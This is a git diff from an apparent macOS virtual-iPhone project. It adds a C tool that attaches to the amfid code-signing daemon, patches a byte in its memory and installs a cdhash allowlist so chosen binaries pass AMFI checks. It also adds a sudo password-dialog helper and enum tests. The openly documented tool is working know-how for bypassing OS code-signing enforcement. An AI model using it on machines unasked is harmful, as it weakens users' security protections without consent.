+ if (!found) {
+ fprintf(stderr,
+ "error: could not find the singleton slot in +[%s sharedManager] — "
+ "this macOS build is not supported\n",
+ MANAGER_CLASS);
+ exit(1);
+ }
+ (void)matches; // several loads of the same slot are normal
+ return found;
+}
+
+// --------------------------------------------------------------------------
+// amfid
+// --------------------------------------------------------------------------
+
+static pid_t find_amfid(void) {
+ pid_t pids[8192];
+ int n = proc_listpids(PROC_ALL_PIDS, 0, pids, (int)sizeof(pids)) / (int)sizeof(pid_t);
+ char path[PROC_PIDPATHINFO_MAXSIZE];
+ for (int i = 0; i < n; i++)
+ if (pids[i] > 0 && proc_pidpath(pids[i], path, sizeof(path)) > 0 &&
+ strcmp(path, AMFID_PATH) == 0)
+ return pids[i];
+ return -1;
+}
+
+// amfid is launch-on-demand. Validating this binary — ad-hoc signed, so the
+// kernel has to ask — both starts it and makes it build the singleton.
+static void poke_amfid(const char *self_path) {
+ pid_t child = 0;
+ char *const argv[] = {(char *)self_path, (char *)"--nop", NULL};
+ if (posix_spawn(&child, self_path, NULL, NULL, argv, NULL) == 0) {
+ int status = 0;
+ waitpid(child, &status, 0);
+ }
+}
+
+static int attach_amfid(const char *self_path) {
+ g_amfid = find_amfid();
+ if (g_amfid < 0) {
+ poke_amfid(self_path);
+ g_amfid = find_amfid();
+ }
+ if (g_amfid < 0) {
+ fprintf(stderr, "error: amfid is not running\n");
+ return 0;
+ }
+ kern_return_t kr = task_for_pid(mach_task_self(), g_amfid, &g_task);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr,
+ "error: task_for_pid(%d): %s\n"
+ " needs root and SIP debugging restrictions off "
+ "(csrutil enable --without debug)\n",
+ g_amfid, mach_error_string(kr));
+ return 0;
+ }
+ return 1;
+}
+
+static int read_amfid(mach_vm_address_t addr, void *buf, size_t len) {
+ mach_vm_size_t got = 0;
+ kern_return_t kr = mach_vm_read_overwrite(g_task, addr, len, (mach_vm_address_t)buf, &got);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "error: read %#llx from amfid: %s\n", (unsigned long long)addr,
+ mach_error_string(kr));
+ return 0;
+ }
+ return got == len;
+}
+
+// One byte, into a malloc'd object. No protection change, no COW of a
+// shared-cache page, nothing executable — which is the entire point.
+static int write_amfid_byte(mach_vm_address_t addr, uint8_t value) {
+ uint8_t current = 0;
+ if (!read_amfid(addr, &current, 1)) return 0;
+ if (current == value) return 1; // never write what is already there
+ kern_return_t kr = mach_vm_write(g_task, addr, (vm_offset_t)&value, 1);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "error: write %#llx in amfid: %s\n", (unsigned long long)addr,
+ mach_error_string(kr));
+ return 0;
+ }
+ uint8_t back = 0;
+ if (!read_amfid(addr, &back, 1) || back != value) {
+ fprintf(stderr, "error: write did not take (read back %u, wanted %u)\n", back, value);
+ return 0;
+ }
+ return 1;
+}
+
+// The singleton, with enough checking that a wrong answer stops the tool.
+static mach_vm_address_t amfid_manager(const char *self_path) {
+ mach_vm_address_t slot = singleton_slot();
+ uintptr_t remote = 0;
+ if (!read_amfid(slot, &remote, sizeof(remote))) return 0;
+
+ if (!remote) { // amfid is up but has not validated anything yet
+ poke_amfid(self_path);
+ usleep(200 * 1000);
+ if (!read_amfid(slot, &remote, sizeof(remote))) return 0;
+ }
+ if (!remote) {
+ fprintf(stderr, "error: amfid has not created its %s yet\n", MANAGER_CLASS);
+ return 0;
+ }
+
+ // An ObjC object here, not a stale word: the class bits of its isa have to
+ // match the class bits of ours.
+ const uintptr_t kISAClassBits = 0x0000000FFFFFFFF8ULL;
+ uintptr_t remote_isa = 0, local_isa = (uintptr_t)manager_class();
+ if (!read_amfid((mach_vm_address_t)remote, &remote_isa, sizeof(remote_isa))) return 0;
+ if ((remote_isa & kISAClassBits) != (local_isa & kISAClassBits)) {
+ fprintf(stderr, "error: %#lx in amfid is not an %s (isa %#lx)\n", (unsigned long)remote,
+ MANAGER_CLASS, (unsigned long)remote_isa);
+ return 0;
+ }
+
+ // Both BOOL ivars must actually read as booleans.
+ uint8_t flags[2] = {0, 0};
+ if (!read_amfid((mach_vm_address_t)remote + ivar_offset("_allowUnsafeDynamicLinking"),
+ &flags[0], 1) ||
+ !read_amfid((mach_vm_address_t)remote + ivar_offset("_isRunningInternalBuild"), &flags[1],
+ 1))
+ return 0;
+ if (flags[0] > 1 || flags[1] > 1) {
+ fprintf(stderr, "error: %s ivars do not read as booleans (%u, %u)\n", MANAGER_CLASS,
+ flags[0], flags[1]);
+ return 0;
+ }
+ return (mach_vm_address_t)remote;
+}
+
+// --------------------------------------------------------------------------
+// cdhashes and the preference
+// --------------------------------------------------------------------------
+
+// What amfid would use if this tool had never run. -init builds it through
+// -resetRestrictedRequirement, so this process's own singleton is carrying it
+// right now: ask that one rather than hardcoding a string that changes with
+// the OS. Ours is then this, plus a cdhash — strictly more permissive, never
+// less.
+static CFStringRef stock_requirement(void) {
+ Class cls = manager_class();
+ id mgr = ((id(*)(id, SEL))objc_msgSend)((id)cls, sel_registerName("sharedManager"));
+ SecRequirementRef stock = ((SecRequirementRef(*)(id, SEL))objc_msgSend)(
+ mgr, sel_registerName("restrictedRequirement"));
+ CFStringRef text = NULL;
+ if (!stock || SecRequirementCopyString(stock, kSecCSDefaultFlags, &text) != errSecSuccess ||
+ !text) {
+ fprintf(stderr, "error: cannot read the stock restricted requirement — "
+ "this macOS build is not supported\n");
+ exit(1);
+ }
+ return text;
+}
+
+static CFStringRef requirement_for(int count, char **paths) {
+ CFStringRef stock = stock_requirement();
+ CFMutableStringRef req = CFStringCreateMutable(NULL, 0);
+ CFStringAppend(req, stock);
+ CFRelease(stock);
+
+ for (int i = 0; i < count; i++) {
+ CFURLRef url = CFURLCreateFromFileSystemRepresentation(
+ NULL, (const UInt8 *)paths[i], (CFIndex)strlen(paths[i]), false);
+ SecStaticCodeRef code = NULL;
+ OSStatus st = SecStaticCodeCreateWithPath(url, kSecCSDefaultFlags, &code);
+ CFRelease(url);
+ if (st != errSecSuccess) {
+ fprintf(stderr, "error: %s: not signed code (%d)\n", paths[i], (int)st);
+ exit(1);
+ }
+
+ // kSecCSSigningInformation is what fills in kSecCodeInfoCdHashes — every
+ // code directory, so a universal binary gets each slice allowlisted
+ // rather than only the one kSecCodeInfoUnique happens to name.
+ CFDictionaryRef info = NULL;
+ st = SecCodeCopySigningInformation(code, kSecCSSigningInformation, &info);
+ CFRelease(code);
+ if (st != errSecSuccess) {
+ fprintf(stderr, "error: %s: cannot read signing information (%d)\n", paths[i],
+ (int)st);
+ exit(1);
+ }
+
+ CFArrayRef hashes = CFDictionaryGetValue(info, kSecCodeInfoCdHashes);
+ CFDataRef unique = CFDictionaryGetValue(info, kSecCodeInfoUnique);
+ CFIndex n = hashes ? CFArrayGetCount(hashes) : (unique ? 1 : 0);
+ if (n == 0) {
+ fprintf(stderr, "error: %s: no cdhash\n", paths[i]);
+ exit(1);
+ }
+ for (CFIndex h = 0; h < n; h++) {
+ CFDataRef d = hashes ? CFArrayGetValueAtIndex(hashes, h) : unique;
+ CFStringAppendCString(req, " or cdhash H\"", kCFStringEncodingUTF8);
+ const UInt8 *b = CFDataGetBytePtr(d);
+ for (CFIndex k = 0; k < CFDataGetLength(d); k++)
+ CFStringAppendFormat(req, NULL, CFSTR("%02x"), b[k]);
+ CFStringAppendCString(req, "\"", kCFStringEncodingUTF8);
+ }
+ CFRelease(info);
+ }
+
+ // It has to compile here, or amfid would silently keep the old one.
+ SecRequirementRef parsed = NULL;
+ OSStatus st = SecRequirementCreateWithString(req, kSecCSDefaultFlags, &parsed);
+ if (st != errSecSuccess) {
+ fprintf(stderr, "error: the requirement does not compile (%d)\n", (int)st);
+ exit(1);
+ }
+ CFRelease(parsed);
+ return req;
+}
+
+static int write_prefs(CFStringRef requirement) {
+ CFMutableDictionaryRef d = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks,
+ &kCFTypeDictionaryValueCallBacks);
+ CFDictionarySetValue(d, CFSTR("Entitlements"), requirement);
+ // Setting Entitlements alone also turns _allowUnsafeDynamicLinking on
+ // (checkCodeRequirementsPreferenceUnsynchronized, 0x23cea5758), which would
+ // unrestrict every process on the machine and hand DYLD_INSERT_LIBRARIES
+ // back to anyone. The explicit key is the only thing that overrides it.
+ CFDictionarySetValue(d, CFSTR("AllowUnsafeDynamicLinking"), kCFBooleanFalse);
+ CFDataRef data = CFPropertyListCreateData(NULL, d, kCFPropertyListXMLFormat_v1_0, 0, NULL);
+ CFRelease(d);
+ if (!data) return 0;
+
+ char tmp[] = PREFS_PATH ".new";
+ FILE *f = fopen(tmp, "w");
+ if (!f) {
+ fprintf(stderr, "error: %s: %s\n", tmp, strerror(errno));
+ CFRelease(data);
+ return 0;
+ }
+ fwrite(CFDataGetBytePtr(data), 1, (size_t)CFDataGetLength(data), f);
+ fclose(f);
+ CFRelease(data);
+ chmod(tmp, 0644);
+ chown(tmp, 0, 0);
+ if (rename(tmp, PREFS_PATH) != 0) {
+ fprintf(stderr, "error: rename %s: %s\n", PREFS_PATH, strerror(errno));
+ return 0;
+ }
+ return 1;
+}
+
+// launchd watches this path and pokes amfid; touching it is the reload.
+static void trigger_reload(void) { utimes(PREFS_PATH, NULL); }
+
+// --------------------------------------------------------------------------
+// reporting
+// --------------------------------------------------------------------------
+
+static int sysctl_int(const char *name) {
+ int value = 0;
+ size_t len = sizeof(value);
+ return sysctlbyname(name, &value, &len, NULL, 0) == 0 ? value : -1;
+}
+
+static void report(const char *self_path) {
+ printf("host\n");
+ printf(" vm.cs_system_enforcement %d%s\n", sysctl_int("vm.cs_system_enforcement"),
+ sysctl_int("vm.cs_system_enforcement") == 1 ? " (code patching is fatal here)" : "");
+ printf(" preference file %s\n",
+ access(PREFS_PATH, R_OK) == 0 ? PREFS_PATH : PREFS_PATH " (absent)");
+
+ CFStringRef stock = stock_requirement();
+ char buf[4096];
+ if (CFStringGetCString(stock, buf, sizeof(buf), kCFStringEncodingUTF8))
+ printf(" stock requirement %s\n", buf);
+ CFRelease(stock);
+
+ if (!attach_amfid(self_path)) return;
+ printf("amfid\n");
+ printf(" pid %d\n", g_amfid);
+ printf(" singleton slot %#llx (shared cache, same in every process)\n",
+ (unsigned long long)singleton_slot());
+
+ mach_vm_address_t mgr = amfid_manager(self_path);
+ if (!mgr) return;
+ uint8_t internal = 0, unsafe_linking = 0;
+ uintptr_t restricted = 0;
+ read_amfid(mgr + ivar_offset("_isRunningInternalBuild"), &internal, 1);
+ read_amfid(mgr + ivar_offset("_allowUnsafeDynamicLinking"), &unsafe_linking, 1);
+ read_amfid(mgr + ivar_offset("_restrictedRequirement"), &restricted, sizeof(restricted));
+ printf(" %s %#llx\n", MANAGER_CLASS, (unsigned long long)mgr);
+ printf(" _isRunningInternalBuild %u%s\n", internal, internal ? " (preference honoured)" : "");
+ printf(" _allowUnsafeDynamicLinking %u\n", unsafe_linking);
+ printf(" _restrictedRequirement %#lx%s\n", (unsigned long)restricted,
+ restricted ? "" : " (nothing would be allowed)");
+}
+
+// --------------------------------------------------------------------------
+
+static int cmd_allow(const char *self_path, int count, char **paths, int hold_seconds) {
+ CFStringRef req = requirement_for(count, paths);
+ char buf[4096];
+ CFStringGetCString(req, buf, sizeof(buf), kCFStringEncodingUTF8);
+ printf("requirement: %s\n", buf);
+
+ if (!write_prefs(req)) return 1;
+ CFRelease(req);
+ printf("wrote %s\n", PREFS_PATH);
+
+ if (!attach_amfid(self_path)) return 1;
+ mach_vm_address_t mgr = amfid_manager(self_path);
+ if (!mgr) return 1;
+
+ // amfid is already holding the stock requirement, so "non-NULL" proves
+ // nothing. Adoption is the pointer changing: the preference path releases
+ // the old SecRequirementRef and stores a freshly built one.
+ ptrdiff_t req_off = ivar_offset("_restrictedRequirement");
+ uintptr_t before = 0;
+ if (!read_amfid(mgr + req_off, &before, sizeof(before))) return 1;
+ printf("amfid pid %d: _restrictedRequirement was %#lx\n", g_amfid, (unsigned long)before);
+
+ ptrdiff_t off = ivar_offset("_isRunningInternalBuild");
+ if (!write_amfid_byte(mgr + off, 1)) return 1;
+ printf("amfid pid %d: %s+%#lx = 1\n", g_amfid, MANAGER_CLASS, (long)off);
+
+ trigger_reload();
+
+ for (int i = 0; i < 30; i++) {
+ uintptr_t restricted = 0;
+ if (read_amfid(mgr + req_off, &restricted, sizeof(restricted)) && restricted &&
+ restricted != before) {
+ printf("amfid adopted the requirement (_restrictedRequirement %#lx -> %#lx)\n",
+ (unsigned long)before, (unsigned long)restricted);
+ goto live;
+ }
+ usleep(100 * 1000);
+ }
+ fprintf(stderr,
+ "error: amfid did not adopt the requirement within 3s "
+ "(_restrictedRequirement never moved off %#lx)\n",
+ (unsigned long)before);
+ return 1;
+
+live:
+ if (hold_seconds <= 0) return 0;
+
+ // amfid has EnablePressuredExit, so it can be replaced under us; a new one
+ // starts with the byte back at zero. Re-apply for as long as asked.
+ printf("holding for %ds (re-applying if amfid restarts); ^C to stop\n", hold_seconds);
+ for (int elapsed = 0; elapsed < hold_seconds * 5; elapsed++) {
+ usleep(200 * 1000);
+ if (find_amfid() == g_amfid) continue;
+ printf("amfid restarted; re-applying\n");
+ mach_port_deallocate(mach_task_self(), g_task);
+ g_task = MACH_PORT_NULL;
+ if (!attach_amfid(self_path)) return 1;
+ mgr = amfid_manager(self_path);
+ if (!mgr || !write_amfid_byte(mgr + off, 1)) return 1;
+ trigger_reload();
+ }
+ return 0;
+}
+
+static int cmd_off(const char *self_path) {
+ if (unlink(PREFS_PATH) != 0 && errno != ENOENT) {
+ fprintf(stderr, "error: unlink %s: %s\n", PREFS_PATH, strerror(errno));
+ return 1;
+ }
+ printf("removed %s\n", PREFS_PATH);
+
+ // The requirement amfid already built lives in its heap; the honest way to
+ // drop it is to let launchd hand us a fresh amfid.
+ pid_t pid = find_amfid();
+ if (pid > 0) {
+ if (kill(pid, SIGKILL) == 0)
+ printf("killed amfid pid %d (launch-on-demand; it comes back clean)\n", pid);
+ else
+ fprintf(stderr, "error: kill %d: %s\n", pid, strerror(errno));
+ }
+ (void)self_path;
+ return 0;
+}
+
+int main(int argc, char **argv) {
+ if (argc > 1 && strcmp(argv[1], "--nop") == 0) return 0; // the amfid poke
+
+ setvbuf(stdout, NULL, _IOLBF, 0); // keep stdout in step with stderr
+ const char *self_path = argv[0];
+ const char *verb = argc > 1 ? argv[1] : "status";
+
+ if (strcmp(verb, "status") == 0) {
+ report(self_path);
+ return 0;
+ }
+ if (strcmp(verb, "off") == 0) {
+ if (geteuid() != 0) { fprintf(stderr, "error: run as root\n"); return 1; }
+ return cmd_off(self_path);
+ }
+ if (strcmp(verb, "allow") == 0) {
+ if (geteuid() != 0) { fprintf(stderr, "error: run as root\n"); return 1; }
+ int hold = 0, first = 2;
+ if (argc > 3 && strcmp(argv[2], "--hold") == 0) {
+ hold = atoi(argv[3]);
+ first = 4;
+ }
+ if (first >= argc) {
+ fprintf(stderr, "error: no binary given\n");
+ return 2;
+ }
+ return cmd_allow(self_path, argc - first, argv + first, hold);
+ }
+
+ fprintf(stderr,
+ "usage:\n"
+ " vphone-amfi-allow status\n"
+ " sudo vphone-amfi-allow allow [--hold N] <binary> [<binary>...]\n"
+ " sudo vphone-amfi-allow off\n"
+ "\n"
+ "'make amfi_allow' runs the allow step for the current build.\n");
+ return 2;
+}
diff --git a/sources/vphone-ask-for-permission/VPhoneSudo.swift b/sources/vphone-ask-for-permission/VPhoneSudo.swift
new file mode 100644
index 00000000..f2885313
--- /dev/null
+++ b/sources/vphone-ask-for-permission/VPhoneSudo.swift
@@ -0,0 +1,122 @@
+import Foundation
+
+// MARK: - Asking for root, once, in one place
+
+/// How this project becomes root.
+///
+/// Three things needed it and each had grown its own answer: the create
+/// orchestrator wrote a throwaway askpass script that echoed `$SUDO_PASSWORD`
+/// (which put the password in a spawned process's environment, where `ps -E`
+/// shows it to anything running as the same user), `cfw install` re-execs
+/// itself under sudo, and the AMFI allow step is a plain `sudo` line a human
+/// was expected to paste. This is the one place now.
+///
+/// Nothing here holds a password. On a terminal sudo reads it from the tty
+/// itself; in a window session `vphone-ask-for-permission` collects it and
+/// writes it straight down sudo's askpass pipe. Neither path lets it reach
+/// this process, a file, or an environment variable.
+public enum VPhoneSudo {
+ /// What this host will do when sudo is asked for a password.
+ /// The raw values are the words `vphone-ask-for-permission --probe` prints;
+ /// keep the two in step.
+ public enum Route: String, Sendable {
+ /// A previous sudo is still within its timestamp. Nothing will prompt.
+ case timestamp
+ /// `pam_tid.so` is in sudo's PAM stack: the prompt is Touch ID.
+ case touchID = "touchid"
+ /// Neither, so something has to ask for a password.
+ case askpass
+ }
+
+ /// The helper that renders the password dialog. Resolved as a sibling of
+ /// the running image, never through `PATH`, the same rule `vphone-vm`
+ /// follows — a bypass planted earlier on `PATH` must not be able to answer
+ /// a question about privilege.
+ public static var helper: URL { VPhoneResources.siblingExecutable("vphone-ask-for-permission") }
+
+ /// Which of the three applies right now.
+ ///
+ /// Asks the helper, so the detection lives in exactly one place. If the
+ /// helper is missing or unreadable this reports `.askpass`, which is the
+ /// answer that makes the caller do the most work rather than the least.
+ public static func route() -> Route {
+ guard FileManager.default.isExecutableFile(atPath: helper.path),
+ let result = try? VPhoneProcessRunner.runCapturing(helper, ["--probe"]),
+ result.succeeded,
+ let value = Route(rawValue: result.stdout.trimmingCharacters(in: .whitespacesAndNewlines))
+ else { return .askpass }
+ return value
+ }
+
+ /// Refresh the sudo timestamp, prompting however this host allows, so that
+ /// the commands that follow do not each prompt again.
+ ///
+ /// `reason` is shown to the user. Say what is about to happen in terms of
+ /// the thing they asked for, not in terms of sudo.
+ @discardableResult
+ public static func authorize(reason: String, echo: Bool = true) throws -> Route {
+ let route = route()
+ if route == .timestamp { return route }
+
+ if echo { print("[sudo] \(reason)") }
+
+ let sudo = URL(fileURLWithPath: "/usr/bin/sudo")
+
+ // With Touch ID, or on a terminal, sudo does its own prompting and owns
+ // the tty while it does — `runForeground` exists for exactly that, and
+ // it is the better path because the password never leaves sudo.
+ if route == .touchID || isatty(STDIN_FILENO) != 0 {
+ let status = try VPhoneProcessRunner.runForeground(sudo, ["-v"])
+ guard status == 0 else { throw VPhoneSudoError.declined }
+ return route
+ }
+
+ // No tty — launched from a window session. sudo cannot prompt, so the
+ // helper does, and hands the answer back down sudo's own askpass pipe.
+ guard FileManager.default.isExecutableFile(atPath: helper.path) else {
+ throw VPhoneSudoError.helperMissing(path: helper.path)
+ }
+ var env = ProcessInfo.processInfo.environment
+ env["SUDO_ASKPASS"] = helper.path
+ let status = try VPhoneProcessRunner.runStreaming(sudo, ["-A", "-v"], env: env, echo: echo)
+ guard status == 0 else { throw VPhoneSudoError.declined }
+ return route
+ }
+
+ /// Run one command as root, prompting first if that is needed.
+ @discardableResult
+ public static func run(
+ _ executable: URL,
+ _ arguments: [String],
+ reason: String,
+ cwd: URL? = nil,
+ echo: Bool = true
+ ) throws -> Int32 {
+ try authorize(reason: reason, echo: echo)
+ return try VPhoneProcessRunner.runForeground(
+ URL(fileURLWithPath: "/usr/bin/sudo"),
+ ["--", executable.path] + arguments,
+ cwd: cwd
+ )
+ }
+}
+
+// MARK: - Errors
+
+public enum VPhoneSudoError: Error, CustomStringConvertible {
+ case declined
+ case helperMissing(path: String)
+
+ public var description: String {
+ switch self {
+ case .declined:
+ "Administrator authorisation was declined."
+ case let .helperMissing(path):
+ """
+ vphone-ask-for-permission is not next to this binary (looked at \(path)).
+ It is built by `make build`; without it there is no way to ask for a \
+ password from a window session with no terminal.
+ """
+ }
+ }
+}
diff --git a/sources/vphone-ask-for-permission/main.swift b/sources/vphone-ask-for-permission/main.swift
new file mode 100644
index 00000000..bce05175
--- /dev/null
+++ b/sources/vphone-ask-for-permission/main.swift
@@ -0,0 +1,138 @@
+import AppKit
+import Foundation
+
+// vphone-ask-for-permission — the one place this project asks for a password.
+//
+// It is a SUDO_ASKPASS program. `sudo -A` runs it, passes its own prompt as
+// argv[1], and reads the password from stdout; nothing else in the pipeline
+// ever holds it. That matters, because the thing this replaces wrote a shell
+// script to a temp file that echoed $SUDO_PASSWORD, which put the password in
+// a spawned process's environment where `ps -E` shows it to any process of the
+// same user.
+//
+// It is also the probe: `--probe` reports how privilege can be obtained on
+// this host, so the caller knows whether to run plain `sudo` (Touch ID or a
+// live timestamp will handle it) or `sudo -A` (this program will).
+//
+// Note on Touch ID: authenticating the user here, with LocalAuthentication,
+// would prove who is at the keyboard and grant nothing — LAContext does not
+// hand out privilege. The only Touch ID that helps is pam_tid inside sudo's
+// own PAM stack, so that is what `--probe` looks for.
+
+// MARK: - Touch ID for sudo
+
+enum VPhoneSudoTouchID {
+ /// The two files sudo's PAM stack reads. `sudo_local` is the supported
+ /// place since Sonoma — `/etc/pam.d/sudo` itself is replaced on update,
+ /// which is why Apple added the include.
+ static let configurationFiles = ["/etc/pam.d/sudo_local", "/etc/pam.d/sudo"]
+
+ /// Whether any of them enables `pam_tid.so` on a line that is not
+ /// commented out. sudo's PAM files comment with `#`.
+ static var isConfigured: Bool {
+ configurationFiles.contains { path in
+ guard let text = try? String(contentsOfFile: path, encoding: .utf8) else { return false }
+ return text.split(separator: "\n").contains { line in
+ let trimmed = line.trimmingCharacters(in: .whitespaces)
+ return !trimmed.hasPrefix("#") && trimmed.contains("pam_tid.so")
+ }
+ }
+ }
+}
+
+// MARK: - A live sudo timestamp
+
+enum VPhoneSudoTimestamp {
+ /// `sudo -n true` succeeds when a timestamp is still valid, and fails
+ /// without prompting when it is not. It is the only way to ask "would
+ /// sudo prompt?" without risking a prompt.
+ static var isValid: Bool {
+ let process = Process()
+ process.executableURL = URL(fileURLWithPath: "/usr/bin/sudo")
+ process.arguments = ["-n", "true"]
+ process.standardOutput = FileHandle.nullDevice
+ process.standardError = FileHandle.nullDevice
+ do {
+ try process.run()
+ } catch {
+ return false
+ }
+ process.waitUntilExit()
+ return process.terminationStatus == 0
+ }
+}
+
+// MARK: - The dialog
+
+enum VPhonePasswordPrompt {
+ /// A modal password dialog, or nil if the user cancelled.
+ ///
+ /// Runs on an NSApplication with an accessory activation policy: no Dock
+ /// tile, no menu bar, but the panel still comes to the front, which a bare
+ /// `runModal` from a command-line tool does not.
+ @MainActor
+ static func ask(prompt: String) -> String? {
+ let app = NSApplication.shared
+ app.setActivationPolicy(.accessory)
+ app.activate(ignoringOtherApps: true)
+
+ let alert = NSAlert()
+ alert.messageText = "vphone needs administrator privileges"
+ alert.informativeText = prompt
+ alert.alertStyle = .informational
+ alert.addButton(withTitle: "Authenticate")
+ alert.addButton(withTitle: "Cancel")
+
+ let field = NSSecureTextField(frame: NSRect(x: 0, y: 0, width: 280, height: 24))
+ field.placeholderString = "Password"
+ alert.accessoryView = field
+ alert.window.initialFirstResponder = field
+
+ guard alert.runModal() == .alertFirstButtonReturn else { return nil }
+ return field.stringValue
+ }
+}
+
+// MARK: - Entry point
+
+/// What sudo shows when it asks. sudo hands its own prompt in argv[1]; this is
+/// only the fallback for a direct run.
+let defaultPrompt = "Enter the password for \(NSUserName()) to continue."
+
+let arguments = Array(CommandLine.arguments.dropFirst())
+
+if arguments.first == "--probe" {
+ // Three routes, most to least convenient. The caller reads the first word.
+ if VPhoneSudoTimestamp.isValid {
+ print("timestamp")
+ } else if VPhoneSudoTouchID.isConfigured {
+ print("touchid")
+ } else {
+ print("askpass")
+ }
+ exit(0)
+}
+
+if arguments.first == "--help" || arguments.first == "-h" {
+ print("""
+ usage:
+ vphone-ask-for-permission [prompt] Ask for a password, print it on stdout.
+ This is the SUDO_ASKPASS interface:
+ sudo -A runs it and passes its prompt.
+ vphone-ask-for-permission --probe Print how privilege can be obtained
+ here: timestamp | touchid | askpass.
+ """)
+ exit(0)
+}
+
+let prompt = arguments.first.map { $0.isEmpty ? defaultPrompt : $0 } ?? defaultPrompt
+
+let password = MainActor.assumeIsolated { VPhonePasswordPrompt.ask(prompt: prompt) }
+guard let password else {
+ // sudo reads a non-zero exit as "the user declined" and stops asking.
+ exit(1)
+}
+
+// sudo wants the password and a newline, and nothing else on stdout.
+FileHandle.standardOutput.write(Data((password + "\n").utf8))
+exit(0)
diff --git a/tests/VPhoneRestoreTests/RestoreEventTests.swift b/tests/VPhoneRestoreTests/RestoreEventTests.swift
new file mode 100644
index 00000000..7e018570
--- /dev/null
+++ b/tests/VPhoneRestoreTests/RestoreEventTests.swift
@@ -0,0 +1,141 @@
+import Foundation
+import Testing
+@testable import VPhoneRestore
+
+/// The values that cross the C boundary in the other direction: log levels,
+/// restore steps and USB modes. Each one is a number the C side chose, so each
+/// one is a place where a renumbered enum would go unnoticed.
+struct RestoreEventTests {
+ // MARK: - Log levels
+
+ @Test func levelsMatchIdevicerestoresEnum() {
+ // src/log.h: LL_ERROR = 0 … LL_DEBUG = 5. Lower is more severe.
+ #expect(VPhoneRestoreLogLevel.error.rawValue == 0)
+ #expect(VPhoneRestoreLogLevel.warning.rawValue == 1)
+ #expect(VPhoneRestoreLogLevel.notice.rawValue == 2)
+ #expect(VPhoneRestoreLogLevel.info.rawValue == 3)
+ #expect(VPhoneRestoreLogLevel.verbose.rawValue == 4)
+ #expect(VPhoneRestoreLogLevel.debug.rawValue == 5)
+ }
+
+ @Test func severityOrdersTheOtherWayRound() {
+ #expect(VPhoneRestoreLogLevel.error < VPhoneRestoreLogLevel.info)
+ #expect(VPhoneRestoreLogLevel.info < VPhoneRestoreLogLevel.debug)
+ // Which is what the console sink's `messageLevel <= level` relies on:
+ // asking for `.info` must let errors through, not filter them out.
+ #expect(VPhoneRestoreLogLevel.error <= VPhoneRestoreLogLevel.info)
+ #expect(!(VPhoneRestoreLogLevel.debug <= VPhoneRestoreLogLevel.info))
+ }
+
+ @Test(arguments: [Int32(-1), 6, 99])
+ func anUnknownLevelBecomesInfo(_ raw: Int32) {
+ // Rather than dropping the line, which is the one outcome nobody can
+ // debug.
+ #expect(VPhoneRestoreLogLevel(clamping: raw) == .info)
+ }
+
+ @Test func aKnownLevelSurvivesClamping() {
+ for level in VPhoneRestoreLogLevel.allCases {
+ #expect(VPhoneRestoreLogLevel(clamping: level.rawValue) == level)
+ }
+ }
+
+ // MARK: - Steps
+
+ @Test func stepsCarryTheCSideNames() {
+ // vphone_restore_step_name(), so a renumbered RESTORE_STEP_* shows up
+ // here rather than in a user's log.
+ #expect(VPhoneRestoreStep.detect.name == "detect")
+ #expect(VPhoneRestoreStep.prepare.name == "prepare")
+ #expect(VPhoneRestoreStep.uploadFilesystem.name == "upload filesystem")
+ #expect(VPhoneRestoreStep.verifyFilesystem.name == "verify filesystem")
+ #expect(VPhoneRestoreStep.flashFirmware.name == "flash firmware")
+ #expect(VPhoneRestoreStep.flashBaseband.name == "flash baseband")
+ #expect(VPhoneRestoreStep.flashFUD.name == "flash FUD")
+ #expect(VPhoneRestoreStep.uploadImage.name == "upload image")
+ }
+
+ @Test func theStepsAreNumberedZeroUpwards() {
+ let ordered: [VPhoneRestoreStep] = [
+ .detect, .prepare, .uploadFilesystem, .verifyFilesystem,
+ .flashFirmware, .flashBaseband, .flashFUD, .uploadImage,
+ ]
+ #expect(ordered.map(\.rawValue) == Array(Int32(0)...Int32(7)))
+ }
+
+ @Test func anUnknownStepStillRoundTrips() {
+ let step = VPhoneRestoreStep(rawValue: 42)
+ #expect(step.rawValue == 42)
+ #expect(step.name == "unknown")
+ }
+
+ // MARK: - Recovery modes
+
+ @Test func onlyTheFourRecoveryProductIDsCountAsRecovery() {
+ // pymobiledevice3's `Mode.is_recovery`: everything that is not WTF and
+ // not DFU. The probe's --is-recovery filter is this predicate.
+ #expect(VPhoneRecoveryMode.recovery1.isRecovery)
+ #expect(VPhoneRecoveryMode.recovery2.isRecovery)
+ #expect(VPhoneRecoveryMode.recovery3.isRecovery)
+ #expect(VPhoneRecoveryMode.recovery4.isRecovery)
+ #expect(!VPhoneRecoveryMode.dfu.isRecovery)
+ #expect(!VPhoneRecoveryMode.wtf.isRecovery)
+ // Port DFU is not in pymobiledevice3's enum at all; it is a DFU
+ // variant, so it answers the same way DFU does.
+ #expect(!VPhoneRecoveryMode.portDFU.isRecovery)
+ }
+
+ @Test func modesMatchLibirecoverysProductIDs() {
+ #expect(VPhoneRecoveryMode.recovery1.rawValue == 0x1280)
+ #expect(VPhoneRecoveryMode.recovery4.rawValue == 0x1283)
+ #expect(VPhoneRecoveryMode.wtf.rawValue == 0x1222)
+ #expect(VPhoneRecoveryMode.dfu.rawValue == 0x1227)
+ #expect(VPhoneRecoveryMode.portDFU.rawValue == 0xF014)
+ }
+
+ @Test func anUnknownModeIsReportableAndNotRecovery() {
+ let mode = VPhoneRecoveryMode(rawValue: 0x1234)
+ #expect(!mode.isRecovery)
+ #expect(mode.description == "mode 0x1234")
+ }
+
+ @Test func modesDescribeThemselves() {
+ #expect(VPhoneRecoveryMode.recovery3.description == "recovery")
+ #expect(VPhoneRecoveryMode.dfu.description == "DFU")
+ #expect(VPhoneRecoveryMode.portDFU.description == "port DFU")
+ }
+
+ // MARK: - Timeout message
+
+ @Test func aProbeWithAPastDeadlineGivesUpWithoutHanging() {
+ // Python's `while time.monotonic() < deadline` never ran the body when
+ // the timeout was zero, and neither does this — which is what makes it
+ // safe for `vm create` to call it ninety times in a row.
+ #expect(throws: VPhoneRestoreBackendError.recoveryProbeTimedOut(mode: "dfu/recovery")) {
+ try VPhoneRecoveryProbe.probe(ecid: 0x1122_3344, timeout: 0)
+ }
+ #expect(throws: VPhoneRestoreBackendError.recoveryProbeTimedOut(mode: "recovery")) {
+ try VPhoneRecoveryProbe.probe(ecid: nil, timeout: -5, isRecovery: true)
+ }
+ // Python's `mode_label` said "dfu/recovery" for False as well as for
+ // None; keeping that means the message users grep for is unchanged.
